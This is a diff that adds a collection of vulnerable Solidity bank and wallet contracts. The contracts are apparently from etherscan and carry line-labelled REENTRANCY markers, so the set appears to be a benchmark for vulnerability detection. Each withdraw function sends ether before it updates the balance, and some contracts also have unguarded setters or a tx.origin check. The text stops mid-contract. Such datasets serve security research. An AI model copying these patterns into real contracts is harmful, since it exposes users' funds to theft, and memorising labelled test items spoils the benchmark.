@@ -0,0 +1,97 @@
|
||||
|
||||
/*
|
||||
* @source: etherscan.io
|
||||
* @author: -
|
||||
* @vulnerable_at_lines: 55
|
||||
*/
|
||||
|
||||
pragma solidity ^0.4.19;
|
||||
|
||||
contract ACCURAL_DEPOSIT
|
||||
{
|
||||
mapping (address=>uint256) public balances;
|
||||
|
||||
uint public MinSum = 1 ether;
|
||||
|
||||
LogFile Log = LogFile(0x0486cF65A2F2F3A392CBEa398AFB7F5f0B72FF46);
|
||||
|
||||
bool intitalized;
|
||||
|
||||
function SetMinSum(uint _val)
|
||||
public
|
||||
{
|
||||
if(intitalized)revert();
|
||||
MinSum = _val;
|
||||
}
|
||||
|
||||
function SetLogFile(address _log)
|
||||
public
|
||||
{
|
||||
if(intitalized)revert();
|
||||
Log = LogFile(_log);
|
||||
}
|
||||
|
||||
function Initialized()
|
||||
public
|
||||
{
|
||||
intitalized = true;
|
||||
}
|
||||
|
||||
function Deposit()
|
||||
public
|
||||
payable
|
||||
{
|
||||
balances[msg.sender]+= msg.value;
|
||||
Log.AddMessage(msg.sender,msg.value,"Put");
|
||||
}
|
||||
|
||||
function Collect(uint _am)
|
||||
public
|
||||
payable
|
||||
{
|
||||
if(balances[msg.sender]>=MinSum && balances[msg.sender]>=_am)
|
||||
{
|
||||
// <yes> <report> REENTRANCY
|
||||
if(msg.sender.call.value(_am)())
|
||||
{
|
||||
balances[msg.sender]-=_am;
|
||||
Log.AddMessage(msg.sender,_am,"Collect");
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
function()
|
||||
public
|
||||
payable
|
||||
{
|
||||
Deposit();
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
|
||||
|
||||
contract LogFile
|
||||
{
|
||||
struct Message
|
||||
{
|
||||
address Sender;
|
||||
string Data;
|
||||
uint Val;
|
||||
uint Time;
|
||||
}
|
||||
|
||||
Message[] public History;
|
||||
|
||||
Message LastMsg;
|
||||
|
||||
function AddMessage(address _adr,uint _val,string _data)
|
||||
public
|
||||
{
|
||||
LastMsg.Sender = _adr;
|
||||
LastMsg.Time = now;
|
||||
LastMsg.Val = _val;
|
||||
LastMsg.Data = _data;
|
||||
History.push(LastMsg);
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,96 @@
|
||||
/*
|
||||
* @source: etherscan.io
|
||||
* @author: -
|
||||
* @vulnerable_at_lines: 54
|
||||
*/
|
||||
|
||||
pragma solidity ^0.4.19;
|
||||
|
||||
contract PRIVATE_ETH_CELL
|
||||
{
|
||||
mapping (address=>uint256) public balances;
|
||||
|
||||
uint public MinSum;
|
||||
|
||||
LogFile Log;
|
||||
|
||||
bool intitalized;
|
||||
|
||||
function SetMinSum(uint _val)
|
||||
public
|
||||
{
|
||||
require(!intitalized);
|
||||
MinSum = _val;
|
||||
}
|
||||
|
||||
function SetLogFile(address _log)
|
||||
public
|
||||
{
|
||||
require(!intitalized);
|
||||
Log = LogFile(_log);
|
||||
}
|
||||
|
||||
function Initialized()
|
||||
public
|
||||
{
|
||||
intitalized = true;
|
||||
}
|
||||
|
||||
function Deposit()
|
||||
public
|
||||
payable
|
||||
{
|
||||
balances[msg.sender]+= msg.value;
|
||||
Log.AddMessage(msg.sender,msg.value,"Put");
|
||||
}
|
||||
|
||||
function Collect(uint _am)
|
||||
public
|
||||
payable
|
||||
{
|
||||
if(balances[msg.sender]>=MinSum && balances[msg.sender]>=_am)
|
||||
{
|
||||
// <yes> <report> REENTRANCY
|
||||
if(msg.sender.call.value(_am)())
|
||||
{
|
||||
balances[msg.sender]-=_am;
|
||||
Log.AddMessage(msg.sender,_am,"Collect");
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
function()
|
||||
public
|
||||
payable
|
||||
{
|
||||
Deposit();
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
|
||||
|
||||
contract LogFile
|
||||
{
|
||||
struct Message
|
||||
{
|
||||
address Sender;
|
||||
string Data;
|
||||
uint Val;
|
||||
uint Time;
|
||||
}
|
||||
|
||||
Message[] public History;
|
||||
|
||||
Message LastMsg;
|
||||
|
||||
function AddMessage(address _adr,uint _val,string _data)
|
||||
public
|
||||
{
|
||||
LastMsg.Sender = _adr;
|
||||
LastMsg.Time = now;
|
||||
LastMsg.Val = _val;
|
||||
LastMsg.Data = _data;
|
||||
History.push(LastMsg);
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,96 @@
|
||||
/*
|
||||
* @source: etherscan.io
|
||||
* @author: -
|
||||
* @vulnerable_at_lines: 54
|
||||
*/
|
||||
|
||||
pragma solidity ^0.4.19;
|
||||
|
||||
contract BANK_SAFE
|
||||
{
|
||||
mapping (address=>uint256) public balances;
|
||||
|
||||
uint public MinSum;
|
||||
|
||||
LogFile Log;
|
||||
|
||||
bool intitalized;
|
||||
|
||||
function SetMinSum(uint _val)
|
||||
public
|
||||
{
|
||||
if(intitalized)throw;
|
||||
MinSum = _val;
|
||||
}
|
||||
|
||||
function SetLogFile(address _log)
|
||||
public
|
||||
{
|
||||
if(intitalized)throw;
|
||||
Log = LogFile(_log);
|
||||
}
|
||||
|
||||
function Initialized()
|
||||
public
|
||||
{
|
||||
intitalized = true;
|
||||
}
|
||||
|
||||
function Deposit()
|
||||
public
|
||||
payable
|
||||
{
|
||||
balances[msg.sender]+= msg.value;
|
||||
Log.AddMessage(msg.sender,msg.value,"Put");
|
||||
}
|
||||
|
||||
function Collect(uint _am)
|
||||
public
|
||||
payable
|
||||
{
|
||||
if(balances[msg.sender]>=MinSum && balances[msg.sender]>=_am)
|
||||
{
|
||||
// <yes> <report> REENTRANCY
|
||||
if(msg.sender.call.value(_am)())
|
||||
{
|
||||
balances[msg.sender]-=_am;
|
||||
Log.AddMessage(msg.sender,_am,"Collect");
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
function()
|
||||
public
|
||||
payable
|
||||
{
|
||||
Deposit();
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
|
||||
|
||||
contract LogFile
|
||||
{
|
||||
struct Message
|
||||
{
|
||||
address Sender;
|
||||
string Data;
|
||||
uint Val;
|
||||
uint Time;
|
||||
}
|
||||
|
||||
Message[] public History;
|
||||
|
||||
Message LastMsg;
|
||||
|
||||
function AddMessage(address _adr,uint _val,string _data)
|
||||
public
|
||||
{
|
||||
LastMsg.Sender = _adr;
|
||||
LastMsg.Time = now;
|
||||
LastMsg.Val = _val;
|
||||
LastMsg.Data = _data;
|
||||
History.push(LastMsg);
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,100 @@
|
||||
/*
|
||||
* @source: etherscan.io
|
||||
* @author: -
|
||||
* @vulnerable_at_lines: 94
|
||||
*/
|
||||
|
||||
pragma solidity ^0.4.19;
|
||||
|
||||
contract Ownable
|
||||
{
|
||||
address newOwner;
|
||||
address owner = msg.sender;
|
||||
|
||||
function changeOwner(address addr)
|
||||
public
|
||||
onlyOwner
|
||||
{
|
||||
newOwner = addr;
|
||||
}
|
||||
|
||||
function confirmOwner()
|
||||
public
|
||||
{
|
||||
if(msg.sender==newOwner)
|
||||
{
|
||||
owner=newOwner;
|
||||
}
|
||||
}
|
||||
|
||||
modifier onlyOwner
|
||||
{
|
||||
if(owner == msg.sender)_;
|
||||
}
|
||||
}
|
||||
|
||||
contract Token is Ownable
|
||||
{
|
||||
address owner = msg.sender;
|
||||
function WithdrawToken(address token, uint256 amount,address to)
|
||||
public
|
||||
onlyOwner
|
||||
{
|
||||
token.call(bytes4(sha3("transfer(address,uint256)")),to,amount);
|
||||
}
|
||||
}
|
||||
|
||||
contract TokenBank is Token
|
||||
{
|
||||
uint public MinDeposit;
|
||||
mapping (address => uint) public Holders;
|
||||
|
||||
///Constructor
|
||||
function initTokenBank()
|
||||
public
|
||||
{
|
||||
owner = msg.sender;
|
||||
MinDeposit = 1 ether;
|
||||
}
|
||||
|
||||
function()
|
||||
payable
|
||||
{
|
||||
Deposit();
|
||||
}
|
||||
|
||||
function Deposit()
|
||||
payable
|
||||
{
|
||||
if(msg.value>MinDeposit)
|
||||
{
|
||||
Holders[msg.sender]+=msg.value;
|
||||
}
|
||||
}
|
||||
|
||||
function WitdrawTokenToHolder(address _to,address _token,uint _amount)
|
||||
public
|
||||
onlyOwner
|
||||
{
|
||||
if(Holders[_to]>0)
|
||||
{
|
||||
Holders[_to]=0;
|
||||
WithdrawToken(_token,_amount,_to);
|
||||
}
|
||||
}
|
||||
|
||||
function WithdrawToHolder(address _addr, uint _wei)
|
||||
public
|
||||
onlyOwner
|
||||
payable
|
||||
{
|
||||
if(Holders[_addr]>0)
|
||||
{
|
||||
// <yes> <report> REENTRANCY
|
||||
if(_addr.call.value(_wei)())
|
||||
{
|
||||
Holders[_addr]-=_wei;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,85 @@
|
||||
/*
|
||||
* @source: etherscan.io
|
||||
* @author: -
|
||||
* @vulnerable_at_lines: 29
|
||||
*/
|
||||
|
||||
pragma solidity ^0.4.25;
|
||||
|
||||
contract U_BANK
|
||||
{
|
||||
function Put(uint _unlockTime)
|
||||
public
|
||||
payable
|
||||
{
|
||||
var acc = Acc[msg.sender];
|
||||
acc.balance += msg.value;
|
||||
acc.unlockTime = _unlockTime>now?_unlockTime:now;
|
||||
LogFile.AddMessage(msg.sender,msg.value,"Put");
|
||||
}
|
||||
|
||||
function Collect(uint _am)
|
||||
public
|
||||
payable
|
||||
{
|
||||
var acc = Acc[msg.sender];
|
||||
if( acc.balance>=MinSum && acc.balance>=_am && now>acc.unlockTime)
|
||||
{
|
||||
// <yes> <report> REENTRANCY
|
||||
if(msg.sender.call.value(_am)())
|
||||
{
|
||||
acc.balance-=_am;
|
||||
LogFile.AddMessage(msg.sender,_am,"Collect");
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
function()
|
||||
public
|
||||
payable
|
||||
{
|
||||
Put(0);
|
||||
}
|
||||
|
||||
struct Holder
|
||||
{
|
||||
uint unlockTime;
|
||||
uint balance;
|
||||
}
|
||||
|
||||
mapping (address => Holder) public Acc;
|
||||
|
||||
Log LogFile;
|
||||
|
||||
uint public MinSum = 2 ether;
|
||||
|
||||
function U_BANK(address log) public{
|
||||
LogFile = Log(log);
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
contract Log
|
||||
{
|
||||
struct Message
|
||||
{
|
||||
address Sender;
|
||||
string Data;
|
||||
uint Val;
|
||||
uint Time;
|
||||
}
|
||||
|
||||
Message[] public History;
|
||||
|
||||
Message LastMsg;
|
||||
|
||||
function AddMessage(address _adr,uint _val,string _data)
|
||||
public
|
||||
{
|
||||
LastMsg.Sender = _adr;
|
||||
LastMsg.Time = now;
|
||||
LastMsg.Val = _val;
|
||||
LastMsg.Data = _data;
|
||||
History.push(LastMsg);
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,88 @@
|
||||
/*
|
||||
* @source: etherscan.io
|
||||
* @author: -
|
||||
* @vulnerable_at_lines: 52
|
||||
*/
|
||||
|
||||
pragma solidity ^0.4.19;
|
||||
|
||||
contract PrivateDeposit
|
||||
{
|
||||
mapping (address => uint) public balances;
|
||||
|
||||
uint public MinDeposit = 1 ether;
|
||||
address public owner;
|
||||
|
||||
Log TransferLog;
|
||||
|
||||
modifier onlyOwner() {
|
||||
require(tx.origin == owner);
|
||||
_;
|
||||
}
|
||||
|
||||
function PrivateDeposit()
|
||||
{
|
||||
owner = msg.sender;
|
||||
TransferLog = new Log();
|
||||
}
|
||||
|
||||
|
||||
|
||||
function setLog(address _lib) onlyOwner
|
||||
{
|
||||
TransferLog = Log(_lib);
|
||||
}
|
||||
|
||||
function Deposit()
|
||||
public
|
||||
payable
|
||||
{
|
||||
if(msg.value >= MinDeposit)
|
||||
{
|
||||
balances[msg.sender]+=msg.value;
|
||||
TransferLog.AddMessage(msg.sender,msg.value,"Deposit");
|
||||
}
|
||||
}
|
||||
|
||||
function CashOut(uint _am)
|
||||
{
|
||||
if(_am<=balances[msg.sender])
|
||||
{
|
||||
// <yes> <report> REENTRANCY
|
||||
if(msg.sender.call.value(_am)())
|
||||
{
|
||||
balances[msg.sender]-=_am;
|
||||
TransferLog.AddMessage(msg.sender,_am,"CashOut");
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
function() public payable{}
|
||||
|
||||
}
|
||||
|
||||
contract Log
|
||||
{
|
||||
|
||||
struct Message
|
||||
{
|
||||
address Sender;
|
||||
string Data;
|
||||
uint Val;
|
||||
uint Time;
|
||||
}
|
||||
|
||||
Message[] public History;
|
||||
|
||||
Message LastMsg;
|
||||
|
||||
function AddMessage(address _adr,uint _val,string _data)
|
||||
public
|
||||
{
|
||||
LastMsg.Sender = _adr;
|
||||
LastMsg.Time = now;
|
||||
LastMsg.Val = _val;
|
||||
LastMsg.Data = _data;
|
||||
History.push(LastMsg);
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,85 @@
|
||||
/*
|
||||
* @source: etherscan.io
|
||||
* @author: -
|
||||
* @vulnerable_at_lines: 29
|
||||
*/
|
||||
|
||||
pragma solidity ^0.4.25;
|
||||
|
||||
contract W_WALLET
|
||||
{
|
||||
function Put(uint _unlockTime)
|
||||
public
|
||||
payable
|
||||
{
|
||||
var acc = Acc[msg.sender];
|
||||
acc.balance += msg.value;
|
||||
acc.unlockTime = _unlockTime>now?_unlockTime:now;
|
||||
LogFile.AddMessage(msg.sender,msg.value,"Put");
|
||||
}
|
||||
|
||||
function Collect(uint _am)
|
||||
public
|
||||
payable
|
||||
{
|
||||
var acc = Acc[msg.sender];
|
||||
if( acc.balance>=MinSum && acc.balance>=_am && now>acc.unlockTime)
|
||||
{
|
||||
// <yes> <report> REENTRANCY
|
||||
if(msg.sender.call.value(_am)())
|
||||
{
|
||||
acc.balance-=_am;
|
||||
LogFile.AddMessage(msg.sender,_am,"Collect");
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
function()
|
||||
public
|
||||
payable
|
||||
{
|
||||
Put(0);
|
||||
}
|
||||
|
||||
struct Holder
|
||||
{
|
||||
uint unlockTime;
|
||||
uint balance;
|
||||
}
|
||||
|
||||
mapping (address => Holder) public Acc;
|
||||
|
||||
Log LogFile;
|
||||
|
||||
uint public MinSum = 1 ether;
|
||||
|
||||
function W_WALLET(address log) public{
|
||||
LogFile = Log(log);
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
contract Log
|
||||
{
|
||||
struct Message
|
||||
{
|
||||
address Sender;
|
||||
string Data;
|
||||
uint Val;
|
||||
uint Time;
|
||||
}
|
||||
|
||||
Message[] public History;
|
||||
|
||||
Message LastMsg;
|
||||
|
||||
function AddMessage(address _adr,uint _val,string _data)
|
||||
public
|
||||
{
|
||||
LastMsg.Sender = _adr;
|
||||
LastMsg.Time = now;
|
||||
LastMsg.Val = _val;
|
||||
LastMsg.Data = _data;
|
||||
History.push(LastMsg);
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,77 @@
|
||||
/*
|
||||
* @source: etherscan.io
|
||||
* @author: -
|
||||
* @vulnerable_at_lines: 41
|
||||
*/
|
||||
|
||||
pragma solidity ^0.4.19;
|
||||
|
||||
contract ETH_VAULT
|
||||
{
|
||||
mapping (address => uint) public balances;
|
||||
|
||||
Log TransferLog;
|
||||
|
||||
uint public MinDeposit = 1 ether;
|
||||
|
||||
function ETH_VAULT(address _log)
|
||||
public
|
||||
{
|
||||
TransferLog = Log(_log);
|
||||
}
|
||||
|
||||
function Deposit()
|
||||
public
|
||||
payable
|
||||
{
|
||||
if(msg.value > MinDeposit)
|
||||
{
|
||||
balances[msg.sender]+=msg.value;
|
||||
TransferLog.AddMessage(msg.sender,msg.value,"Deposit");
|
||||
}
|
||||
}
|
||||
|
||||
function CashOut(uint _am)
|
||||
public
|
||||
payable
|
||||
{
|
||||
if(_am<=balances[msg.sender])
|
||||
{
|
||||
// <yes> <report> REENTRANCY
|
||||
if(msg.sender.call.value(_am)())
|
||||
{
|
||||
balances[msg.sender]-=_am;
|
||||
TransferLog.AddMessage(msg.sender,_am,"CashOut");
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
function() public payable{}
|
||||
|
||||
}
|
||||
|
||||
contract Log
|
||||
{
|
||||
|
||||
struct Message
|
||||
{
|
||||
address Sender;
|
||||
string Data;
|
||||
uint Val;
|
||||
uint Time;
|
||||
}
|
||||
|
||||
Message[] public History;
|
||||
|
||||
Message LastMsg;
|
||||
|
||||
function AddMessage(address _adr,uint _val,string _data)
|
||||
public
|
||||
{
|
||||
LastMsg.Sender = _adr;
|
||||
LastMsg.Time = now;
|
||||
LastMsg.Val = _val;
|
||||
LastMsg.Data = _data;
|
||||
History.push(LastMsg);
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,85 @@
|
||||
/*
|
||||
* @source: etherscan.io
|
||||
* @author: -
|
||||
* @vulnerable_at_lines: 29
|
||||
*/
|
||||
|
||||
pragma solidity ^0.4.25;
|
||||
|
||||
contract X_WALLET
|
||||
{
|
||||
function Put(uint _unlockTime)
|
||||
public
|
||||
payable
|
||||
{
|
||||
var acc = Acc[msg.sender];
|
||||
acc.balance += msg.value;
|
||||
acc.unlockTime = _unlockTime>now?_unlockTime:now;
|
||||
LogFile.AddMessage(msg.sender,msg.value,"Put");
|
||||
}
|
||||
|
||||
function Collect(uint _am)
|
||||
public
|
||||
payable
|
||||
{
|
||||
var acc = Acc[msg.sender];
|
||||
if( acc.balance>=MinSum && acc.balance>=_am && now>acc.unlockTime)
|
||||
{
|
||||
// <yes> <report> REENTRANCY
|
||||
if(msg.sender.call.value(_am)())
|
||||
{
|
||||
acc.balance-=_am;
|
||||
LogFile.AddMessage(msg.sender,_am,"Collect");
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
function()
|
||||
public
|
||||
payable
|
||||
{
|
||||
Put(0);
|
||||
}
|
||||
|
||||
struct Holder
|
||||
{
|
||||
uint unlockTime;
|
||||
uint balance;
|
||||
}
|
||||
|
||||
mapping (address => Holder) public Acc;
|
||||
|
||||
Log LogFile;
|
||||
|
||||
uint public MinSum = 1 ether;
|
||||
|
||||
function X_WALLET(address log) public{
|
||||
LogFile = Log(log);
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
contract Log
|
||||
{
|
||||
struct Message
|
||||
{
|
||||
address Sender;
|
||||
string Data;
|
||||
uint Val;
|
||||
uint Time;
|
||||
}
|
||||
|
||||
Message[] public History;
|
||||
|
||||
Message LastMsg;
|
||||
|
||||
function AddMessage(address _adr,uint _val,string _data)
|
||||
public
|
||||
{
|
||||
LastMsg.Sender = _adr;
|
||||
LastMsg.Time = now;
|
||||
LastMsg.Val = _val;
|
||||
LastMsg.Data = _data;
|
||||
History.push(LastMsg);
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,80 @@
|
||||
/*
|
||||
* @source: etherscan.io
|
||||
* @author: -
|
||||
* @vulnerable_at_lines: 44
|
||||
*/
|
||||
|
||||
pragma solidity ^0.4.19;
|
||||
|
||||
contract ETH_FUND
|
||||
{
|
||||
mapping (address => uint) public balances;
|
||||
|
||||
uint public MinDeposit = 1 ether;
|
||||
|
||||
Log TransferLog;
|
||||
|
||||
uint lastBlock;
|
||||
|
||||
function ETH_FUND(address _log)
|
||||
public
|
||||
{
|
||||
TransferLog = Log(_log);
|
||||
}
|
||||
|
||||
function Deposit()
|
||||
public
|
||||
payable
|
||||
{
|
||||
if(msg.value > MinDeposit)
|
||||
{
|
||||
balances[msg.sender]+=msg.value;
|
||||
TransferLog.AddMessage(msg.sender,msg.value,"Deposit");
|
||||
lastBlock = block.number;
|
||||
}
|
||||
}
|
||||
|
||||
function CashOut(uint _am)
|
||||
public
|
||||
payable
|
||||
{
|
||||
if(_am<=balances[msg.sender]&&block.number>lastBlock)
|
||||
{
|
||||
// <yes> <report> REENTRANCY
|
||||
if(msg.sender.call.value(_am)())
|
||||
{
|
||||
balances[msg.sender]-=_am;
|
||||
TransferLog.AddMessage(msg.sender,_am,"CashOut");
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
function() public payable{}
|
||||
|
||||
}
|
||||
|
||||
contract Log
|
||||
{
|
||||
|
||||
struct Message
|
||||
{
|
||||
address Sender;
|
||||
string Data;
|
||||
uint Val;
|
||||
uint Time;
|
||||
}
|
||||
|
||||
Message[] public History;
|
||||
|
||||
Message LastMsg;
|
||||
|
||||
function AddMessage(address _adr,uint _val,string _data)
|
||||
public
|
||||
{
|
||||
LastMsg.Sender = _adr;
|
||||
LastMsg.Time = now;
|
||||
LastMsg.Val = _val;
|
||||
LastMsg.Data = _data;
|
||||
History.push(LastMsg);
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,104 @@
|
||||
/*
|
||||
* @source: etherscan.io
|
||||
* @author: -
|
||||
* @vulnerable_at_lines: 63
|
||||
*/
|
||||
|
||||
pragma solidity ^0.4.19;
|
||||
|
||||
contract PENNY_BY_PENNY
|
||||
{
|
||||
struct Holder
|
||||
{
|
||||
uint unlockTime;
|
||||
uint balance;
|
||||
}
|
||||
|
||||
mapping (address => Holder) public Acc;
|
||||
|
||||
uint public MinSum;
|
||||
|
||||
LogFile Log;
|
||||
|
||||
bool intitalized;
|
||||
|
||||
function SetMinSum(uint _val)
|
||||
public
|
||||
{
|
||||
if(intitalized)throw;
|
||||
MinSum = _val;
|
||||
}
|
||||
|
||||
function SetLogFile(address _log)
|
||||
public
|
||||
{
|
||||
if(intitalized)throw;
|
||||
Log = LogFile(_log);
|
||||
}
|
||||
|
||||
function Initialized()
|
||||
public
|
||||
{
|
||||
intitalized = true;
|
||||
}
|
||||
|
||||
function Put(uint _lockTime)
|
||||
public
|
||||
payable
|
||||
{
|
||||
var acc = Acc[msg.sender];
|
||||
acc.balance += msg.value;
|
||||
if(now+_lockTime>acc.unlockTime)acc.unlockTime=now+_lockTime;
|
||||
Log.AddMessage(msg.sender,msg.value,"Put");
|
||||
}
|
||||
|
||||
function Collect(uint _am)
|
||||
public
|
||||
payable
|
||||
{
|
||||
var acc = Acc[msg.sender];
|
||||
if( acc.balance>=MinSum && acc.balance>=_am && now>acc.unlockTime)
|
||||
{
|
||||
// <yes> <report> REENTRANCY
|
||||
if(msg.sender.call.value(_am)())
|
||||
{
|
||||
acc.balance-=_am;
|
||||
Log.AddMessage(msg.sender,_am,"Collect");
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
function()
|
||||
public
|
||||
payable
|
||||
{
|
||||
Put(0);
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
|
||||
contract LogFile
|
||||
{
|
||||
struct Message
|
||||
{
|
||||
address Sender;
|
||||
string Data;
|
||||
uint Val;
|
||||
uint Time;
|
||||
}
|
||||
|
||||
Message[] public History;
|
||||
|
||||
Message LastMsg;
|
||||
|
||||
function AddMessage(address _adr,uint _val,string _data)
|
||||
public
|
||||
{
|
||||
LastMsg.Sender = _adr;
|
||||
LastMsg.Time = now;
|
||||
LastMsg.Val = _val;
|
||||
LastMsg.Data = _data;
|
||||
History.push(LastMsg);
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,95 @@
|
||||
/*
|
||||
* @source: etherscan.io
|
||||
* @author: -
|
||||
* @vulnerable_at_lines: 54
|
||||
*/
|
||||
|
||||
pragma solidity ^0.4.19;
|
||||
|
||||
contract DEP_BANK
|
||||
{
|
||||
mapping (address=>uint256) public balances;
|
||||
|
||||
uint public MinSum;
|
||||
|
||||
LogFile Log;
|
||||
|
||||
bool intitalized;
|
||||
|
||||
function SetMinSum(uint _val)
|
||||
public
|
||||
{
|
||||
if(intitalized)throw;
|
||||
MinSum = _val;
|
||||
}
|
||||
|
||||
function SetLogFile(address _log)
|
||||
public
|
||||
{
|
||||
if(intitalized)throw;
|
||||
Log = LogFile(_log);
|
||||
}
|
||||
|
||||
function Initialized()
|
||||
public
|
||||
{
|
||||
intitalized = true;
|
||||
}
|
||||
|
||||
function Deposit()
|
||||
public
|
||||
payable
|
||||
{
|
||||
balances[msg.sender]+= msg.value;
|
||||
Log.AddMessage(msg.sender,msg.value,"Put");
|
||||
}
|
||||
|
||||
function Collect(uint _am)
|
||||
public
|
||||
payable
|
||||
{
|
||||
if(balances[msg.sender]>=MinSum && balances[msg.sender]>=_am)
|
||||
{
|
||||
// <yes> <report> REENTRANCY
|
||||
if(msg.sender.call.value(_am)())
|
||||
{
|
||||
balances[msg.sender]-=_am;
|
||||
Log.AddMessage(msg.sender,_am,"Collect");
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
function()
|
||||
public
|
||||
payable
|
||||
{
|
||||
Deposit();
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
|
||||
contract LogFile
|
||||
{
|
||||
struct Message
|
||||
{
|
||||
address Sender;
|
||||
string Data;
|
||||
uint Val;
|
||||
uint Time;
|
||||
}
|
||||
|
||||
Message[] public History;
|
||||
|
||||
Message LastMsg;
|
||||
|
||||
function AddMessage(address _adr,uint _val,string _data)
|
||||
public
|
||||
{
|
||||
LastMsg.Sender = _adr;
|
||||
LastMsg.Time = now;
|
||||
LastMsg.Val = _val;
|
||||
LastMsg.Data = _data;
|
||||
History.push(LastMsg);
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,76 @@
|
||||
/*
|
||||
* @source: etherscan.io
|
||||
* @author: -
|
||||
* @vulnerable_at_lines: 40
|
||||
*/
|
||||
|
||||
pragma solidity ^0.4.19;
|
||||
|
||||
contract Private_Bank
|
||||
{
|
||||
mapping (address => uint) public balances;
|
||||
|
||||
uint public MinDeposit = 1 ether;
|
||||
|
||||
Log TransferLog;
|
||||
|
||||
function Private_Bank(address _log)
|
||||
{
|
||||
TransferLog = Log(_log);
|
||||
}
|
||||
|
||||
function Deposit()
|
||||
public
|
||||
payable
|
||||
{
|
||||
if(msg.value > MinDeposit)
|
||||
{
|
||||
balances[msg.sender]+=msg.value;
|
||||
TransferLog.AddMessage(msg.sender,msg.value,"Deposit");
|
||||
}
|
||||
}
|
||||
|
||||
function CashOut(uint _am)
|
||||
public
|
||||
payable
|
||||
{
|
||||
if(_am<=balances[msg.sender])
|
||||
{
|
||||
// <yes> <report> REENTRANCY
|
||||
if(msg.sender.call.value(_am)())
|
||||
{
|
||||
balances[msg.sender]-=_am;
|
||||
TransferLog.AddMessage(msg.sender,_am,"CashOut");
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
function() public payable{}
|
||||
|
||||
}
|
||||
|
||||
contract Log
|
||||
{
|
||||
|
||||
struct Message
|
||||
{
|
||||
address Sender;
|
||||
string Data;
|
||||
uint Val;
|
||||
uint Time;
|
||||
}
|
||||
|
||||
Message[] public History;
|
||||
|
||||
Message LastMsg;
|
||||
|
||||
function AddMessage(address _adr,uint _val,string _data)
|
||||
public
|
||||
{
|
||||
LastMsg.Sender = _adr;
|
||||
LastMsg.Time = now;
|
||||
LastMsg.Val = _val;
|
||||
LastMsg.Data = _data;
|
||||
History.push(LastMsg);
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,74 @@
|
||||
/*
|
||||
* @source: etherscan.io
|
||||
* @author: -
|
||||
* @vulnerable_at_lines: 38
|
||||
*/
|
||||
|
||||
pragma solidity ^0.4.19;
|
||||
|
||||
contract PrivateBank
|
||||
{
|
||||
mapping (address => uint) public balances;
|
||||
|
||||
uint public MinDeposit = 1 ether;
|
||||
|
||||
Log TransferLog;
|
||||
|
||||
function PrivateBank(address _lib)
|
||||
{
|
||||
TransferLog = Log(_lib);
|
||||
}
|
||||
|
||||
function Deposit()
|
||||
public
|
||||
payable
|
||||
{
|
||||
if(msg.value >= MinDeposit)
|
||||
{
|
||||
balances[msg.sender]+=msg.value;
|
||||
TransferLog.AddMessage(msg.sender,msg.value,"Deposit");
|
||||
}
|
||||
}
|
||||
|
||||
function CashOut(uint _am)
|
||||
{
|
||||
if(_am<=balances[msg.sender])
|
||||
{
|
||||
// <yes> <report> REENTRANCY
|
||||
if(msg.sender.call.value(_am)())
|
||||
{
|
||||
balances[msg.sender]-=_am;
|
||||
TransferLog.AddMessage(msg.sender,_am,"CashOut");
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
function() public payable{}
|
||||
|
||||
}
|
||||
|
||||
contract Log
|
||||
{
|
||||
|
||||
struct Message
|
||||
{
|
||||
address Sender;
|
||||
string Data;
|
||||
uint Val;
|
||||
uint Time;
|
||||
}
|
||||
|
||||
Message[] public History;
|
||||
|
||||
Message LastMsg;
|
||||
|
||||
function AddMessage(address _adr,uint _val,string _data)
|
||||
public
|
||||
{
|
||||
LastMsg.Sender = _adr;
|
||||
LastMsg.Time = now;
|
||||
LastMsg.Val = _val;
|
||||
LastMsg.Data = _data;
|
||||
History.push(LastMsg);
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,77 @@
|
||||
/*
|
||||
* @source: etherscan.io
|
||||
* @author: -
|
||||
* @vulnerable_at_lines: 41
|
||||
*/
|
||||
|
||||
pragma solidity ^0.4.19;
|
||||
|
||||
contract ETH_VAULT
|
||||
{
|
||||
mapping (address => uint) public balances;
|
||||
|
||||
uint public MinDeposit = 1 ether;
|
||||
|
||||
Log TransferLog;
|
||||
|
||||
function ETH_VAULT(address _log)
|
||||
public
|
||||
{
|
||||
TransferLog = Log(_log);
|
||||
}
|
||||
|
||||
function Deposit()
|
||||
public
|
||||
payable
|
||||
{
|
||||
if(msg.value > MinDeposit)
|
||||
{
|
||||
balances[msg.sender]+=msg.value;
|
||||
TransferLog.AddMessage(msg.sender,msg.value,"Deposit");
|
||||
}
|
||||
}
|
||||
|
||||
function CashOut(uint _am)
|
||||
public
|
||||
payable
|
||||
{
|
||||
if(_am<=balances[msg.sender])
|
||||
{
|
||||
// <yes> <report> REENTRANCY
|
||||
if(msg.sender.call.value(_am)())
|
||||
{
|
||||
